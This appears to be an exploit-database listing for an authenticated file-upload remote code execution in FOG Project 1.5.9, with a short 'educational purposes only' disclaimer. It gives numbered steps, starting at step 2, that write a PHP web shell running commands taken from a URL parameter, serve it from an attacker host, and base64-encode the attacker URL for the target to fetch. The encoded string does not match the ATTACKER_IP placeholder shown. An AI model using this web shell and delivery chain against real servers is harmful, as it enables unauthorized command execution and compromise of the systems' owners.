Exploits / Vulnerability Discovered : 2021-04-29 |
Type : webapps |
Platform : php
This exploit / vulnerability Fogproject 1.5.9 file upload rce (authenticated) is for educational purposes only and if it is used you will do on your own risk!
2) Add your PHP code to the end of the file created in the step 1.
echo '<?php $cmd=$_GET["cmd"]; system($cmd); ?>' >> myshell
3) Put the file "myshell" accessible through HTTP.
$ cp myshell /var/www/html
4) Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).
$ echo "http://ATTACKER_IP/myshell" | base64
aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=